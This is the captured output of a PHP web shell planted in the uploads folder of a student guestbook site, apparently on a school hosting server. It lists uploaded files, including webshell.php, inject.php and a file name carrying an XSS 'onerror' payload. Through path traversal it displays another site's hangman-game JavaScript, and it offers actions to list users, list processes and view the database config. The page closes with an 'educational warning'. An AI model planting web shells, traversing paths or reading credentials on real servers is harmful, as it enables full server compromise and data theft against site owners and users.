🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ../../../../587649.klas4s23.mid-ica.nl/public_html/../public_html/Gamecraft/scripts/script.js

const wordDisplay = document.querySelector(".word-display");
const guessesText = document.querySelector(".guesses-text b");
const keyboardDiv = document.querySelector(".keyboard");
const hangmanImage = document.querySelector(".hangman-box img");
const gameModel = document.querySelector(".game-model");
const playAgainBtn = gameModel.querySelector("button");




let currentWord, correctLetters, wrongGuessCount;
const maxGuesses = 6;

const resetGame = () => {
    
    correctLetters = [];
    wrongGuessCount = 0;
    hangmanImage.src = "images/hangman-0.svg";
    guessesText.innerText = `${wrongGuessCount} / ${maxGuesses}`;
    wordDisplay.innerHTML = currentWord.split("").map(() => `<li class="letter"></li>`).join("");
    keyboardDiv.querySelectorAll("button").forEach(btn => btn.disabled = false);
    gameModel.classList.remove("show");
}

const getRandomWord = () => {
    
    const { word, hint } = wordList[Math.floor(Math.random() * wordList.length)];
    currentWord = word;
    document.querySelector(".hint-text b").innerText = hint;
    resetGame();
}

const gameOver = (isVictory) => {
    const modalText = isVictory ? `You found the word:` : 'The correct word was:';
    gameModel.querySelector("h4").innerText = isVictory ? 'Congrats!' : 'Game Over!';
    gameModel.querySelector("p").innerHTML = `${modalText} <b>${currentWord}</b>`;
    gameModel.classList.add("show");

    if (isVictory) {
        
        const gamesWon = parseInt(getCookie("gamesWon")) || 0;
        setCookie("gamesWon", gamesWon + 1, 365);
    }
}

const initGame = (button, clickedLetter) => {
    
    if (currentWord.includes(clickedLetter)) {
        
        [...currentWord].forEach((letter, index) => {
            if (letter === clickedLetter) {
                correctLetters.push(letter);
                wordDisplay.querySelectorAll("li")[index].innerText = letter;
                wordDisplay.querySelectorAll("li")[index].classList.add("guessed");
            }
        });
    } else {
        
        wrongGuessCount++;
        hangmanImage.src = `images/hangman-${wrongGuessCount}.svg`;
    }
    button.disabled = true; 
    guessesText.innerText = `${wrongGuessCount} / ${maxGuesses}`;

    
    if (wrongGuessCount === maxGuesses) return gameOver(false);
    if (correctLetters.length === currentWord.length) return gameOver(true);
}


for (let i = 97; i <= 122; i++) {
    const button = document.createElement("button");
    button.innerText = String.fromCharCode(i);
    keyboardDiv.appendChild(button);
    button.addEventListener("click", (e) => initGame(e.target, String.fromCharCode(i)));
}

document.addEventListener("DOMContentLoaded", function () {
    
    const playerName = getCookie("playerName");

    if (playerName) {
        alert("Welcome back, " + playerName + "!");
    } else {
        
        const newName = prompt("Enter your name:");
        if (newName) {
            setCookie("playerName", newName, 365); 
            alert("Hello, " + newName + "! Let's play!");
        } else {
            alert("Invalid name. Game not started.");
        }
    }
});

function setCookie(name, value, days) {
    const date = new Date();
    date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
    const expires = "expires=" + date.toUTCString();
    document.cookie = name + "=" + value + ";" + expires + ";path=/";
}


function getCookie(name) {
    const cookies = document.cookie.split(';');
    for (let i = 0; i < cookies.length; i++) {
        const cookie = cookies[i].trim();
        if (cookie.startsWith(name + "=")) {
            return cookie.substring(name.length + 1);
        }
    }
    return null;
}



function startGame() {
    alert("Game started!");
}

function displayHighScores() {
    const playerName = getCookie("playerName");
    const gamesWon = getCookie("gamesWon") || 0;

    const highScoresOverlay = document.createElement("div");
    highScoresOverlay.classList.add("overlay");

    const highScoresModal = document.createElement("div");
    highScoresModal.classList.add("high-scores");

    if (playerName) {
        highScoresModal.innerHTML = `
            <h4>${playerName}'s Highscores</h4>
            <ul>
                <li>Games Won: ${gamesWon}</li>
            </ul>
            <button onclick="closeHighScores()">Close</button>
        `;
    } else {
        highScoresModal.innerHTML = `
            <p>No highscore available. Start playing to set a highscore!</p>
            <button onclick="closeHighScores()">Close</button>
        `;
    }

    highScoresOverlay.appendChild(highScoresModal);
    document.body.appendChild(highScoresOverlay);
}




function closeHighScores() {
    const highScoresOverlay = document.querySelector(".overlay");
    if (highScoresOverlay) {
        highScoresOverlay.remove();
    }
}

document.addEventListener("DOMContentLoaded", function () {
    
    const playerName = getCookie("playerName");

    if (playerName) {
        alert("Welcome back, " + playerName + "!");
    } else {
        
        const newName = prompt("Enter your name:");
        if (newName) {
            setCookie("playerName", newName, 365); 
            alert("Hello, " + newName + "! Let's play!");
        } else {
            alert("Invalid name. Game not started.");
        }
    }

    const showHighScoresButton = document.querySelector(".show-high-scores");
    showHighScoresButton.addEventListener("click", displayHighScores);



    getRandomWord();
    playAgainBtn.addEventListener("click", getRandomWord);
});





getRandomWord();
playAgainBtn.addEventListener("click", getRandomWord);

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!